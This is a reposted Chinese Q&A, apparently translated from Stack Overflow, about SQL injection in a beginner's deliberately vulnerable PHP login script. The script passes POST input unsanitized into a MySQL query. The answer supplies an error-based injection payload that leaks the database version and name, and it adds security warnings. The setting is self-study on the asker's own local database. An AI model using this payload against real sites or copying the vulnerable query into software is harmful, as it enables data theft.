php – 如何在此示例中注入SQL

发布时间:2022-04-30 发布网站:脚本宝典
脚本宝典收集整理的这篇文章主要介绍了php – 如何在此示例中注入SQL脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。
我的问题非常具体,但我认为这将有助于我对安全性和sql注入的整体理解.我正在运行一个带有简单表单的本地网页,用于查看sql注入如何直接工作,通过对我自己的数据库和网页进行操作.我一直在改变我的PHP文件验证用户的方式,所以我可以看到差异.我是初学者,PHP文件非常简单.我目前的 PHP代码是:

<?PHP
$username = $_POST['username'];
$password = $_POST['password'];
$conn = MysqL_connect('localhost','root','password');
MysqL_select_db(test1);
$query = "SELECT username,password From users WHERE username = '$username'";
$result = MysqL_query($query) or die("Query Failed: " . MysqL_error());
$arr = MysqL_fetch_array($result);
if($arr['username'] == $username && $arr['password'] == $password &amp;& strlen($username) > 0){
 header('Location:index.PHP');
}else{
 header('Location:login.htML');
}
?>

我不知道这是一种好的还是坏的验证方式.我只是想知道一个如何注入它的例子,因为我无法想出这个. MysqL_query()只允许1个语句,因此我不能将语句链接在一起,而且我不知道还能做些什么.我已经更改了文件,所以我可以做
‘或1 = 1; – 注射类型,但显然一个人不会在这里工作.所以只是好奇.谢谢.

解决方法

用户名发送:

a' and(select 1 from(select count(*),concat((select concat_ws(0x3a,version(),database())),floor(rand(0)*2))x from information_schema.tables group by x)a) union select 1,'

我不确定,但我认为不可能重定向到index.PHP,但上面的例子会告诉你一些有趣的东西.

永远不要对这些安全漏洞进行非清理,因为如果允许对MysqL表使用SELECT命令,恶意用户甚至可以获得MysqL的root用户密码等等.

顺便说一句,你永远不应该向最终用户显示MysqL_error().

脚本宝典总结

以上是脚本宝典为你收集整理的php – 如何在此示例中注入SQL全部内容,希望文章能够帮你解决php – 如何在此示例中注入SQL所遇到的问题。

如果觉得脚本宝典网站内容还不错,欢迎将脚本宝典推荐好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。